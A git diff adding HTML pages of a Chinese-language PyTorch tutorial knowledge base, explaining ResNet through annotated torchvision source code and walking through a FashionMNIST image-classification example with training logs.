b/en/docs/个人知识库/AI/PyTorch/第四章/4.1 ResNet/index.html @@ -0,0 +1,142 @@ + + + + + +4.1 ResNet.md | wjlin0 + + + + + + + +

4.1 ResNet.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:17
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

4.1 ResNet

+

残差神经网络(ResNet)是由微软研究院的何恺明、张祥雨、任少卿、孙剑等人提出的。它的主要贡献是发现了在增加网络层数的过程中,随着训练精度(Training accuracy)逐渐趋于饱和,继续增加层数,training accuracy 就会出现下降的现象,而这种下降不是由过拟合造成的。他们将这一现象称之为“退化现象(Degradation)”,并针对退化现象发明了 “快捷连接(Shortcut connection)”,极大的消除了深度过大的神经网络训练困难问题。神经网络的“深度”首次突破了100层、最大的神经网络甚至超过了1000层。(在此,向已故的孙剑博士表示崇高的敬意)

+

通过本文你将学习到:

+
    +
  • +

    梯度消失/爆炸的简介

    +
  • +
  • +

    代码里面为什么要设计BasicBlock和Bottleneck两种结构

    +
  • +
  • +

    代码里面的expansion作用

    +
  • +
+

1 基本介绍​

+

随着卷积神经网络的出现,人们发现多层卷积或者全连接网络的效果大于单层卷积或者全连接网络。于是很多人潜意识认为网络的层数越多,其效果就会越好。但是当时微软研究院的何恺明、张祥雨、任少卿、孙剑等人发现加深网络的深度后,整个网络的效果反而变差了许多。他们认为很深的网络无法训练的原因可能是网络在信息传递的时候或多或少会存在信息丢失,损耗等问题,同时还可能出现梯度消失或者梯度爆炸现象。针对这个问题,他们提出了ResNet以期望解决这个问题,ResNet的出现也让神经网络逐渐真正走向深度神经网络。ResNet最大的贡献在于添加了shortcut connection将输入直接连接到后面的层,一定程度缓解了梯度消失和梯度爆炸并提高了深度神经网络的效果。接下来我们详细的解释一下梯度消失和梯度爆炸。

+

梯度消失和梯度爆炸的根源主要是因为深度神经网络结构以及反向传播算法,目前优化神经网络的方法都是基于反向传播的思想,即根据损失函数计算的误差通过反向传播的方式,指导深度网络权值的更新。误差梯度是神经网络训练过程中计算的方向和数量,用于以正确的方向和合适的量更新网络权重。 在深层网络或循环神经网络中,误差梯度可在更新中累积,变成非常大的梯度,然后导致网络权重的大幅更新,并因此使网络变得不稳定。在极端情况下,权重的值变得非常大,以至于溢出,导致 NaN 值。 网络层之间的梯度(值大于 1.0)重复相乘导致的指数级增长会产生梯度爆炸。 在深度多层感知机网络中,梯度爆炸会引起网络不稳定,最好的结果是无法从训练数据中学习,而最坏的结果是出现无法再更新的 NaN 权重值。

+

而在某些情况下,梯度会变得非常小, 网络层之间的梯度(值小于 1.0)重复相乘导致的指数级变小会产生梯度消失。在最坏的情况下,这可能会完全停止神经网络的进一步训练。例如,传统的激活函数(如双曲正切函数)具有范围(0,1)内的梯度,反向传播通过链式法则计算梯度。这样做的效果是,用这些小数字的n乘以n来计算n层网络中“前端”层的梯度,这意味着梯度(误差信号)随n呈指数递减,而前端层的训练非常缓慢。最终导致更新停滞。

+

2 源码解读​

+

为了帮助大家对ResNet有更好的理解,我们使用torchvision的ResNet源码进行解读。

+

2.1 卷积核的封装​

+

在代码的开始,首先封装了3x3和1x1的卷积核,这样可以增加代码的可读性。除了这种代码写法外,还有许多深度学习代码在开始也会将卷积层,激活函数层和BN层封装在一起,同样是为了增加代码的可读性。

+
def conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1) -> nn.Conv2d:
"""3x3 convolution with padding"""
return nn.Conv2d(
in_planes,
out_planes,
kernel_size=3,
stride=stride,
padding=dilation,
groups=groups,
bias=False,
dilation=dilation,
)


def conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:
"""1x1 convolution"""
return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)
+

2.2 基本模块的设计​

+

ResNet网络是由很多相同的模块堆叠起来的,为了保证代码具有可读性和可扩展性,ResNet在设计时采用了模块化设计,针对不同大小的ResNet,书写了BasicBlock和BottleNeck两个基本模块。这种模块化的设计在现在许多常见的深度学习代码中我们可以经常看到。

+

ResNet常见的大小有下图的ResNet-18,ResNet-34,ResNet-50、ResNet-101和ResNet-152,其中网络后面的数字代表的是网络的层数。

+

expansion

+

为了帮助大家更好的理解,我们以ResNet101为例。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
layer_name次数
conv1卷积1次
conv2_x卷积3 x 3 = 9次
conv3_x卷积4 x 3 = 12次
conv4_x卷积23 x 3 = 69次
conv5_x卷积3 x 3 = 9次
fcaverage pool 1次
合计1 + 9 + 12 + 69 + 9 + 1 = 101次
+

观察上面各个ResNet的模块,我们可以发现ResNet-18和ResNet-34每一层内,数据的大小不会发生变化,但是ResNet-50、ResNet-101和ResNet-152中的每一层内输入和输出的channel数目不一样,输出的channel扩大为输入channel的4倍,除此之外,每一层的卷积的大小也变换为1,3,1的结构。基于这个发现,我们可以将ResNet-18和ResNet-34的构成模块当作一类,ResNet-50、ResNet-101和ResNet-152这三类网络的构成模块当作一类。事实上,torchvision的源码也是基于这种设计思想,使用如下图的BasicBlock(左)和BottleNeck(右)模块,并且为了控制输入和输出的通道数目的变化,在代码中输出的通道维度也通过expansion进行控制,两个block类输入一个通道为in_planes维的度特征图,输出一个planes*block.expansion维的特征图,其中planes的数目大小等于in_planes。除此以外,代码右侧的曲线就是本文最重要的shortcut支路,该支路上的downsample操作是为了对shortcut支路进行大小或维度上的调整,以希望执行相加操作

+

block

+

2.2.1 Shortcut Connection.​

+

这里再分析一下shortcut connection:

+

shortcut

+

shortcut connection也就是所谓的“抄近道”,它有两种方式,其一为同等维度的映射,即输入输出直接相加(即上图中的F(x) + x),另一种为不同维度的映射,这时候就需要给x补充一个线性映射来匹配维度。

+

比如下面这个图:

+ +

左:VGG-19模型,作为参考。 中:一个有34个参数层的普通网络。 右:一个有34个参数层的残差网络(即resnet34)

+

在上图最右侧的路径中,我们可以很明显的看到shortcut connection加入了网络之中,同时,图中也很明显的可以看到,实线部分就是进行了单纯的F(x)+x操作,而虚线部分,第一个卷积层的stride是2(那个/2的意思就是stride是2);同时注意到深度也发生了变换,channel数目增加一倍(扩大两倍),这样F(x)的分辨率比x小一半,厚度比x大一倍。在这样的shortcut connection中,就需要补充线性映射来增加维度。在ResNet中,作者使用了1 x 1的卷积核来达到这个目的。

+

另外,论文中又提到说:“……where both designs have similar time complexity.” 既然BasicBlock和Bottleneck二者的时间复杂度类似,那么为什么还要额外设计一个Bottleneck结构呢?

+

根据前面的叙述我们知道,BasicBlock结构比传统的卷积结构多了一个shortcut支路,用于传递低层的信息,使得网络能够训练地很深。而BottleNeck先通过一个1x1的卷积减少通道数,使得中间卷积的通道数减少为1/4;中间的普通卷积做完卷积后输出通道数等于输入通道数;第三个卷积用于恢复通道数,使得BottleNeck的输出通道数等于BottleNeck的输入通道数。**换句话说,这两个1x1卷积有效地减少了卷积的参数个数和计算量,同时减少了中间特征图的通道数,使单个Block消耗的显存更少,在较深的网络中BottleNeck会在参数上更加节约,这样可以有利于构建层数更多的网络,同时还能保持性能的提升。**所以resnet50, resnet101和resnet152使用了另外设计的BottleNeck结构。

+

2.2.2 BasicBlock​

+

BasicBlock模块用来构建resnet18和resnet34

+
class BasicBlock(nn.Module):
expansion: int = 1

def __init__(
self,
inplanes: int,
planes: int,
stride: int = 1,
downsample: Optional[nn.Module] = None,
groups: int = 1,
base_width: int = 64,
dilation: int = 1,
norm_layer: Optional[Callable[..., nn.Module]] = None,
) -> None:
super().__init__()
if norm_layer is None:
norm_layer = nn.BatchNorm2d
if groups != 1 or base_width != 64:
raise ValueError("BasicBlock only supports groups=1 and base_width=64")
if dilation > 1:
raise NotImplementedError("Dilation > 1 not supported in BasicBlock")
# Both self.conv1 and self.downsample layers downsample the input when stride != 1
self.conv1 = conv3x3(inplanes, planes, stride)
self.bn1 = norm_layer(planes)
self.relu = nn.ReLU(inplace=True)
self.conv2 = conv3x3(planes, planes)
self.bn2 = norm_layer(planes)
self.downsample = downsample
self.stride = stride

def forward(self, x: Tensor) -> Tensor:
identity = x # x 给自己先备份一份

out = self.conv1(x) # 对x做卷积
out = self.bn1(out) # 对x归一化
out = self.relu(out) # 对x用激活函数

out = self.conv2(out) # 对x做卷积
out = self.bn2(out) # 归一化

if self.downsample is not None:
identity = self.downsample(x)

out += identity # 进行downsample
out = self.relu(out)

return out
+

2.2.3 BottleNeck​

+

BottleNeck模块用来构建resnet50,resnet101和resnet152

+
class Bottleneck(nn.Module):
# Bottleneck in torchvision places the stride for downsampling at 3x3 convolution(self.conv2)
# while original implementation places the stride at the first 1x1 convolution(self.conv1)
# according to "Deep residual learning for image recognition"https://arxiv.org/abs/1512.03385.
# This variant is also known as ResNet V1.5 and improves accuracy according to
# https://ngc.nvidia.com/catalog/model-scripts/nvidia:resnet_50_v1_5_for_pytorch.

expansion: int = 4 # 对输出通道进行倍增

def __init__(
self,
inplanes: int,
planes: int,
stride: int = 1,
downsample: Optional[nn.Module] = None,
groups: int = 1,
base_width: int = 64,
dilation: int = 1,
norm_layer: Optional[Callable[..., nn.Module]] = None,
) -> None:
super().__init__()
if norm_layer is None:
norm_layer = nn.BatchNorm2d
width = int(planes * (base_width / 64.0)) * groups
# Both self.conv2 and self.downsample layers downsample the input when stride != 1
self.conv1 = conv1x1(inplanes, width)
self.bn1 = norm_layer(width)
self.conv2 = conv3x3(width, width, stride, groups, dilation)
self.bn2 = norm_layer(width)
self.conv3 = conv1x1(width, planes * self.expansion)
self.bn3 = norm_layer(planes * self.expansion)
self.relu = nn.ReLU(inplace=True)
self.downsample = downsample
self.stride = stride

# Bottleneckd forward函数和BasicBlock类似,不再额外注释
def forward(self, x: Tensor) -> Tensor:
identity = x

out = self.conv1(x)
out = self.bn1(out)
out = self.relu(out)

out = self.conv2(out)
out = self.bn2(out)
out = self.relu(out)

out = self.conv3(out)
out = self.bn3(out)

if self.downsample is not None:
identity = self.downsample(x)

out += identity
out = self.relu(out)

return out
+

我们在这里再对代码中expansion的作用做一个说明,我们可以重新回顾一下下面这张图。

+

+

expansion简单来说就是对输出通道的倍乘。在BasicBlock和BottleNeck中,“__init__”函数中有三个比较关键的参数:inplanes,planes和stride,这三者分别表示输入的通道数,输出的通道数和步幅。在两个模块中,__init__传入的planes都是64,128,156,512,但我们观察上面的表格,会发现对于ResNet-50,ResNet-101和ResNet-152而言,它们需要的输出通道应该为256,512,1024,2048才对。因此在这里设置expansion=4,对应上面BottleNeck代码中的30行和31行,将每一个planes都乘上这个expansion,就得到了需要的通道数;而对于ResNet-18和ResNet-34而言,输入通道和输出通道的维度上没有发生变化,因此expansion也设置为1。

+

2.3 网络整体结构​

+

在定义好最基本的Bottlenneck和BasicBlock后,我们就可以构建ResNet网络了。

+
class ResNet(nn.Module):
def __init__(
self,
block: Type[Union[BasicBlock, Bottleneck]], # 选择基本模块
layers: List[int], # 每一层block的数目构成 -> [3,4,6,3]
num_classes: int = 1000, # 分类数目
zero_init_residual: bool = False, # 初始化

#######其他卷积构成,与本文ResNet无关######
groups: int = 1,
width_per_group: int = 64,
replace_stride_with_dilation: Optional[List[bool]] = None,
#########################################

norm_layer: Optional[Callable[..., nn.Module]] = None, # norm层
) -> None:
super().__init__()
_log_api_usage_once(self)
if norm_layer is None:
norm_layer = nn.BatchNorm2d
self._norm_layer = norm_layer

self.inplanes = 64 # 输入通道

#######其他卷积构成,与本文ResNet无关######
self.dilation = 1 # 空洞卷积
if replace_stride_with_dilation is None:
# each element in the tuple indicates if we should replace
# the 2x2 stride with a dilated convolution instead
replace_stride_with_dilation = [False, False, False]
if len(replace_stride_with_dilation) != 3:
raise ValueError(
"replace_stride_with_dilation should be None "
f"or a 3-element tuple, got {replace_stride_with_dilation}"
)
self.groups = groups
self.base_width = width_per_group
#########################################

self.conv1 = nn.Conv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False)
self.bn1 = norm_layer(self.inplanes)
self.relu = nn.ReLU(inplace=True)
self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
# 通过_make_layer带到层次化设计的效果
self.layer1 = self._make_layer(block, 64, layers[0]) # 对应着conv2_x
self.layer2 = self._make_layer(block, 128, layers[1], stride=2, dilate=replace_stride_with_dilation[0]) # 对应着conv3_x
self.layer3 = self._make_layer(block, 256, layers[2], stride=2, dilate=replace_stride_with_dilation[1]) # 对应着conv4_x
self.layer4 = self._make_layer(block, 512, layers[3], stride=2, dilate=replace_stride_with_dilation[2]) # 对应着conv5_x
# 分类头
self.avgpool = nn.AdaptiveAvgPool2d((1, 1))
self.fc = nn.Linear(512 * block.expansion, num_classes)

# 模型初始化
for m in self.modules():
if isinstance(m, nn.Conv2d):
nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu")
elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):
nn.init.constant_(m.weight, 1)
nn.init.constant_(m.bias, 0)

# Zero-initialize the last BN in each residual branch,
# so that the residual branch starts with zeros, and each residual block behaves like an identity.
# This improves the model by 0.2~0.3% according to https://arxiv.org/abs/1706.02677
if zero_init_residual:
for m in self.modules():
if isinstance(m, Bottleneck) and m.bn3.weight is not None:
nn.init.constant_(m.bn3.weight, 0) # type: ignore[arg-type]
elif isinstance(m, BasicBlock) and m.bn2.weight is not None:
nn.init.constant_(m.bn2.weight, 0) # type: ignore[arg-type]
# 层次化设计
def _make_layer(
self,
block: Type[Union[BasicBlock, Bottleneck]], # 基本构成模块选择
planes: int, # 输入的通道
blocks: int, # 模块数目
stride: int = 1, # 步长
dilate: bool = False, # 空洞卷积,与本文无关
) -> nn.Sequential:
norm_layer = self._norm_layer
downsample = None # 是否采用下采样
####################无关#####################
previous_dilation = self.dilation
if dilate:
self.dilation *= stride
stride = 1
#############################################
if stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.Sequential(
conv1x1(self.inplanes, planes * block.expansion, stride),
norm_layer(planes * block.expansion),
)

# 使用layers存储每个layer
layers = []
layers.append(
block(
self.inplanes, planes, stride, downsample, self.groups, self.base_width, previous_dilation, norm_layer
)
)
self.inplanes = planes * block.expansion
for _ in range(1, blocks):
layers.append(
block(
self.inplanes,
planes,
groups=self.groups,
base_width=self.base_width,
dilation=self.dilation,
norm_layer=norm_layer,
)
)
# 将layers通过nn.Sequential转化为网络
return nn.Sequential(*layers)

def _forward_impl(self, x: Tensor) -> Tensor:
# See note [TorchScript super()]
x = self.conv1(x) # conv1 x shape [1 64 112 112]
x = self.bn1(x) # 归一化处理
x = self.relu(x) # 激活函数
x = self.maxpool(x) # conv2_x的3x3 maxpool x shape [1 64 56 56]

x = self.layer1(x) # layer 1
x = self.layer2(x) # layer 2
x = self.layer3(x) # layer 3
x = self.layer4(x) # layer 4

x = self.avgpool(x) # 自适应池化
x = torch.flatten(x, 1)
x = self.fc(x) # 分类

return x

def forward(self, x: Tensor) -> Tensor:
return self._forward_impl(x)
+

观察上述代码,我们不难看到,首先是一个7 x 7的卷积作用在输入的3维图片上,并输入一个64维的特征图(即self.inplanes的初始值),通过BatchNorm层,ReLU层,MaxPool层;然后经过_make_layer()函数构建的4层layer,最后经过一个AveragePooling层,再经过一个fc层得到分类输出。在网络搭建起来后,还对模型的参数(Conv2d、BatchNorm2d、last BN)进行了初始化。

+

而对于_make_layer函数,一个_make_layer()构建一个layer层,每一个layer层是上述两种基本模块的堆叠。输入参数中block代表该layer堆叠模块的类型,可选BasicBlock或者BottleNeck;blocks代表该layer中堆叠的block的数目;planes与该layer最终输出的维度数有关,注意最终输出的维度数为planes * block.expansion。除此之外, _make_layer()是用来生成残差块的,这就牵扯到它的第四个参数:stride,即卷积步幅。该函数中首先定义了如果stride不等于1或者维度不匹配(即输入通道不满足对应关系)的时候的downsample,然后对其进行一次BN操作。接着对inplanes和planes不一致的情况进行了一次downsample ,即将带downsample的block添加至layers。这样保证了x和out的维度一致,接下来通过一个循环添加了指定个数的Block,由于x已经维度一致了,这样添加的其他的Block就可以不用降维了,所以循环添加不含Downsample的Block。正如下面代码所示

+
if stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.Sequential(
conv1x1(self.inplanes, planes * block.expansion, stride),
norm_layer(planes * block.expansion),
)
+

当一个layer包含多个block时,是通过向layers列表中依次加入每个block,来实现block的堆叠的。第一个block需要特殊处理,该block依据传入的self.inplanes, planes以及stride判断,可能含有downsample支路;这个block的输出维度是planes*block.expansion。紧接着便把self.inplanes更新为此值作为后续block的输入维度。后面的block的stride为默认值1,同时,由于输入为self.inplanes,输出为planes*block.expansion,而self.inplanes = planes * block.expansion,因此不会出现特征图大小或者尺寸不一致的情况,不可能出现downsample操作。

+

3 总结​

+

与普通的网络相比,ResNet最大的优势就是引入了Shortcut这个支路,让某一层可以直接连接到后面的层,使得后面的层可以直接学习残差。传统的卷积层或全连接层在信息传递时,或多或少会存在信息丢失、损耗等问题。ResNet 在某种程度上解决了这个问题,通过直接将输入信息绕道传到输出,保护信息的完整性,整个网络则只需要学习输入、输出差别的那一部分,简化学习目标和难度。

+

ResNet的出现,在一定程度上解决了卷积神经网络随深度的增加,但是模型效果却变差的问题,用作者的话说,就是: “Our deep residual nets can easily enjoy accuracy gains from greatly increased depth, producing results substantially better than previous networks.”。原始的ResNet对于训练卷积神经网路做出了很大的贡献,但是同样也有着许多可以改进的地方。随着时代的发展,原版的ResNet在一次又一次的研究中得到了丰富和完善,衍生出了丰富的改进的模型,如ResNeXt。它提出了一种介于普通卷积核深度可分离卷积的这种策略:分组卷积。通过控制分组的数量(基数)来达到两种策略的平衡。分组卷积的思想是源自Inception,不同于Inception的需要人工设计每个分支,ResNeXt的每个分支的拓扑结构是相同的。最后再结合残差网络,得到的便是最终的ResNeXt。

+

除此之外,ResNet还有其它变体如Wider ResNet,DarkNet53等。它们的改进相对较大,尤其是DarkNet53,它和ResNet已经有很大不同了,只是使用到了残差连接从而复用特征而已。总而言之,ResNet是深度学习领域一个里程碑式的工作。。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第四章/4.2 GoogleNet/index.html b/en/docs/个人知识库/AI/PyTorch/第四章/4.2 GoogleNet/index.html new file mode 100644 index 0000000..db2a541 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第四章/4.2 GoogleNet/index.html @@ -0,0 +1,44 @@ + + + + + +4.2 GoogleNet.md | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第四章/4.3 DenseNet/index.html b/en/docs/个人知识库/AI/PyTorch/第四章/4.3 DenseNet/index.html new file mode 100644 index 0000000..23ca482 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第四章/4.3 DenseNet/index.html @@ -0,0 +1,44 @@ + + + + + +4.3 DenseNet.md | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第四章/4.4 FashionMNIST图像分类/index.html b/en/docs/个人知识库/AI/PyTorch/第四章/4.4 FashionMNIST图像分类/index.html new file mode 100644 index 0000000..e237bb4 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第四章/4.4 FashionMNIST图像分类/index.html @@ -0,0 +1,136 @@ + + + + + +4.4 FashionMNIST图像分类.md | wjlin0 + + + + + + + +

4.4 FashionMNIST图像分类.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:17
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

基础实战——FashionMNIST时装分类

+

+

经过前面三章内容的学习,我们完成了以下的内容:

+
    +
  • 对PyTorch有了初步的认识
  • +
  • 学会了如何安装PyTorch以及对应的编程环境
  • +
  • 学习了PyTorch最核心的理论基础(张量&自动求导)
  • +
  • 梳理了利用PyTorch完成深度学习的主要步骤和对应实现方式
  • +
+

现在,我们通过一个基础实战案例,将第一部分所涉及的PyTorch入门知识串起来,便于大家加深理解。同时为后续的进阶学习打好基础。

+

经过本节的学习,你将收获:

+
    +
  • 一个完整的深度学习流程
  • +
  • 各个组件的实际使用方法
  • +
+

我们这里的任务是对10个类别的“时装”图像进行分类,使用FashionMNIST数据集。 +上图给出了FashionMNIST中数据的若干样例图,其中每个小图对应一个样本。
+FashionMNIST数据集中包含已经预先划分好的训练集和测试集,其中训练集共60,000张图像,测试集共10,000张图像。每张图像均为单通道黑白图像,大小为28*28pixel,分属10个类别。

+

下面让我们一起将第三章各部分内容逐步实现,来跑完整个深度学习流程。

+

首先导入必要的包

+
import os
import numpy as np
import pandas as pd
import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.data import Dataset, DataLoader
+

配置训练环境和超参数

+
# 配置GPU,这里有两种方式
## 方案一:使用os.environ
os.environ['CUDA_VISIBLE_DEVICES'] = '0'
# 方案二:使用“device”,后续对要使用GPU的变量用.to(device)即可
device = torch.device("cuda:1" if torch.cuda.is_available() else "cpu")

## 配置其他超参数,如batch_size, num_workers, learning rate, 以及总的epochs
batch_size = 256
num_workers = 4 # 对于Windows用户,这里应设置为0,否则会出现多线程错误
lr = 1e-4
epochs = 20
+

数据读入和加载
+这里同时展示两种方式:

+
    +
  • 下载并使用PyTorch提供的内置数据集
  • +
  • 从网站下载以csv格式存储的数据,读入并转成预期的格式
    +第一种数据读入方式只适用于常见的数据集,如MNIST,CIFAR10等,PyTorch官方提供了数据下载。这种方式往往适用于快速测试方法(比如测试下某个idea在MNIST数据集上是否有效)
    +第二种数据读入方式需要自己构建Dataset,这对于PyTorch应用于自己的工作中十分重要
  • +
+

同时,还需要对数据进行必要的变换,比如说需要将图片统一为一致的大小,以便后续能够输入网络训练;需要将数据格式转为Tensor类,等等。

+

这些变换可以很方便地借助torchvision包来完成,这是PyTorch官方用于图像处理的工具库,上面提到的使用内置数据集的方式也要用到。PyTorch的一大方便之处就在于它是一整套“生态”,有着官方和第三方各个领域的支持。这些内容我们会在后续课程中详细介绍。

+
# 首先设置数据变换
from torchvision import transforms

image_size = 28
data_transform = transforms.Compose([
transforms.ToPILImage(),
# 这一步取决于后续的数据读取方式,如果使用内置数据集读取方式则不需要
transforms.Resize(image_size),
transforms.ToTensor()
])
+
## 读取方式一:使用torchvision自带数据集,下载可能需要一段时间
from torchvision import datasets

train_data = datasets.FashionMNIST(root='./', train=True, download=True, transform=data_transform)
test_data = datasets.FashionMNIST(root='./', train=False, download=True, transform=data_transform)
+
/data1/ljq/anaconda3/envs/smp/lib/python3.8/site-packages/torchvision/datasets/mnist.py:498: UserWarning: The given NumPy array is not writeable, and PyTorch does not support non-writeable tensors. This means you can write to the underlying (supposedly non-writeable) NumPy array using the tensor. You may want to copy the array to protect its data or make it writeable before converting it to a tensor. This type of warning will be suppressed for the rest of this program. (Triggered internally at  /opt/conda/conda-bld/pytorch_1623448234945/work/torch/csrc/utils/tensor_numpy.cpp:180.)
return torch.from_numpy(parsed.astype(m[2], copy=False)).view(*s)
+
## 读取方式二:读入csv格式的数据,自行构建Dataset类
# csv数据下载链接:https://www.kaggle.com/zalando-research/fashionmnist
class FMDataset(Dataset):
def __init__(self, df, transform=None):
self.df = df
self.transform = transform
self.images = df.iloc[:,1:].values.astype(np.uint8)
self.labels = df.iloc[:, 0].values

def __len__(self):
return len(self.images)

def __getitem__(self, idx):
image = self.images[idx].reshape(28,28,1)
label = int(self.labels[idx])
if self.transform is not None:
image = self.transform(image)
else:
image = torch.tensor(image/255., dtype=torch.float)
label = torch.tensor(label, dtype=torch.long)
return image, label

train_df = pd.read_csv("./FashionMNIST/fashion-mnist_train.csv")
test_df = pd.read_csv("./FashionMNIST/fashion-mnist_test.csv")
train_data = FMDataset(train_df, data_transform)
test_data = FMDataset(test_df, data_transform)
+

在构建训练和测试数据集完成后,需要定义DataLoader类,以便在训练和测试时加载数据

+
train_loader = DataLoader(train_data, batch_size=batch_size, shuffle=True, num_workers=num_workers, drop_last=True)
test_loader = DataLoader(test_data, batch_size=batch_size, shuffle=False, num_workers=num_workers)
+

读入后,我们可以做一些数据可视化操作,主要是验证我们读入的数据是否正确

+
import matplotlib.pyplot as plt
image, label = next(iter(train_loader))
print(image.shape, label.shape)
plt.imshow(image[0][0], cmap="gray")
+
torch.Size([256, 1, 28, 28]) 
torch.Size([256])
<matplotlib.image.AxesImage at 0x7f19a043cc10>




+

png

+

模型设计
+由于任务较为简单,这里我们手搭一个CNN,而不考虑当下各种模型的复杂结构,模型构建完成后,将模型放到GPU上用于训练。

+
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.conv = nn.Sequential(
nn.Conv2d(1, 32, 5),
nn.ReLU(),
nn.MaxPool2d(2, stride=2),
nn.Dropout(0.3),
nn.Conv2d(32, 64, 5),
nn.ReLU(),
nn.MaxPool2d(2, stride=2),
nn.Dropout(0.3)
)
self.fc = nn.Sequential(
nn.Linear(64*4*4, 512),
nn.ReLU(),
nn.Linear(512, 10)
)

def forward(self, x):
x = self.conv(x)
x = x.view(-1, 64*4*4)
x = self.fc(x)
# x = nn.functional.normalize(x)
return x

model = Net()
model = model.cuda()
# model = nn.DataParallel(model).cuda() # 多卡训练时的写法,之后的课程中会进一步讲解
+

设定损失函数
+使用torch.nn模块自带的CrossEntropy损失
+PyTorch会自动把整数型的label转为one-hot型,用于计算CE loss
+这里需要确保label是从0开始的,同时模型不加softmax层(使用logits计算),这也说明了PyTorch训练中各个部分不是独立的,需要通盘考虑

+
criterion = nn.CrossEntropyLoss()
# criterion = nn.CrossEntropyLoss(weight=[1,1,1,1,3,1,1,1,1,1])
+
?nn.CrossEntropyLoss # 这里方便看一下weighting等策略
+

设定优化器
+这里我们使用Adam优化器

+
optimizer = optim.Adam(model.parameters(), lr=0.001)
+

训练和测试(验证)
+各自封装成函数,方便后续调用
+关注两者的主要区别:

+
    +
  • 模型状态设置
  • +
  • 是否需要初始化优化器
  • +
  • 是否需要将loss传回到网络
  • +
  • 是否需要每步更新optimizer
  • +
+

此外,对于测试或验证过程,可以计算分类准确率

+
def train(epoch):
model.train()
train_loss = 0
for data, label in train_loader:
data, label = data.cuda(), label.cuda()
optimizer.zero_grad()
output = model(data)
loss = criterion(output, label)
loss.backward()
optimizer.step()
train_loss += loss.item()*data.size(0)
train_loss = train_loss/len(train_loader.dataset)
print('Epoch: {} \tTraining Loss: {:.6f}'.format(epoch, train_loss))
+
def val(epoch):       
model.eval()
val_loss = 0
gt_labels = []
pred_labels = []
with torch.no_grad():
for data, label in test_loader:
data, label = data.cuda(), label.cuda()
output = model(data)
preds = torch.argmax(output, 1)
gt_labels.append(label.cpu().data.numpy())
pred_labels.append(preds.cpu().data.numpy())
loss = criterion(output, label)
val_loss += loss.item()*data.size(0)
val_loss = val_loss/len(test_loader.dataset)
gt_labels, pred_labels = np.concatenate(gt_labels), np.concatenate(pred_labels)
acc = np.sum(gt_labels==pred_labels)/len(pred_labels)
print('Epoch: {} \tValidation Loss: {:.6f}, Accuracy: {:6f}'.format(epoch, val_loss, acc))
+
for epoch in range(1, epochs+1):
train(epoch)
val(epoch)
+
/data1/ljq/anaconda3/envs/smp/lib/python3.8/site-packages/torch/nn/functional.py:718: UserWarning: Named tensors and all their associated APIs are an experimental feature and subject to change. Please do not use them for anything important until they are released as stable. (Triggered internally at  /opt/conda/conda-bld/pytorch_1623448234945/work/c10/core/TensorImpl.h:1156.)
return torch.max_pool2d(input, kernel_size, stride, padding, dilation, ceil_mode)


Epoch: 1 Training Loss: 0.659050
Epoch: 1 Validation Loss: 0.420328, Accuracy: 0.852000
Epoch: 2 Training Loss: 0.403703
Epoch: 2 Validation Loss: 0.350373, Accuracy: 0.872300
Epoch: 3 Training Loss: 0.350197
Epoch: 3 Validation Loss: 0.293053, Accuracy: 0.893200
Epoch: 4 Training Loss: 0.322463
Epoch: 4 Validation Loss: 0.283335, Accuracy: 0.892300
Epoch: 5 Training Loss: 0.300117
Epoch: 5 Validation Loss: 0.268653, Accuracy: 0.903500
Epoch: 6 Training Loss: 0.282179
Epoch: 6 Validation Loss: 0.247219, Accuracy: 0.907200
Epoch: 7 Training Loss: 0.268283
Epoch: 7 Validation Loss: 0.242937, Accuracy: 0.907800
Epoch: 8 Training Loss: 0.257615
Epoch: 8 Validation Loss: 0.234324, Accuracy: 0.912200
Epoch: 9 Training Loss: 0.245795
Epoch: 9 Validation Loss: 0.231515, Accuracy: 0.914100
Epoch: 10 Training Loss: 0.238739
Epoch: 10 Validation Loss: 0.229616, Accuracy: 0.914400
Epoch: 11 Training Loss: 0.230499
Epoch: 11 Validation Loss: 0.228124, Accuracy: 0.915200
Epoch: 12 Training Loss: 0.221574
Epoch: 12 Validation Loss: 0.211928, Accuracy: 0.921200
Epoch: 13 Training Loss: 0.217924
Epoch: 13 Validation Loss: 0.209744, Accuracy: 0.921700
Epoch: 14 Training Loss: 0.206033
Epoch: 14 Validation Loss: 0.215477, Accuracy: 0.921400
Epoch: 15 Training Loss: 0.203349
Epoch: 15 Validation Loss: 0.215550, Accuracy: 0.919400
Epoch: 16 Training Loss: 0.196319
Epoch: 16 Validation Loss: 0.210800, Accuracy: 0.923700
Epoch: 17 Training Loss: 0.191969
Epoch: 17 Validation Loss: 0.207266, Accuracy: 0.923700
Epoch: 18 Training Loss: 0.185466
Epoch: 18 Validation Loss: 0.207138, Accuracy: 0.924200
Epoch: 19 Training Loss: 0.178241
Epoch: 19 Validation Loss: 0.204093, Accuracy: 0.924900
Epoch: 20 Training Loss: 0.176674
Epoch: 20 Validation Loss: 0.197495, Accuracy: 0.928300
+

模型保存
+训练完成后,可以使用torch.save保存模型参数或者整个模型,也可以在训练过程中保存模型
+这部分会在后面的课程中详细介绍

+
save_path = "./FahionModel.pkl"
torch.save(model, save_path)
+

作业

+
    +
  • 模型训练
  • +
+
    +
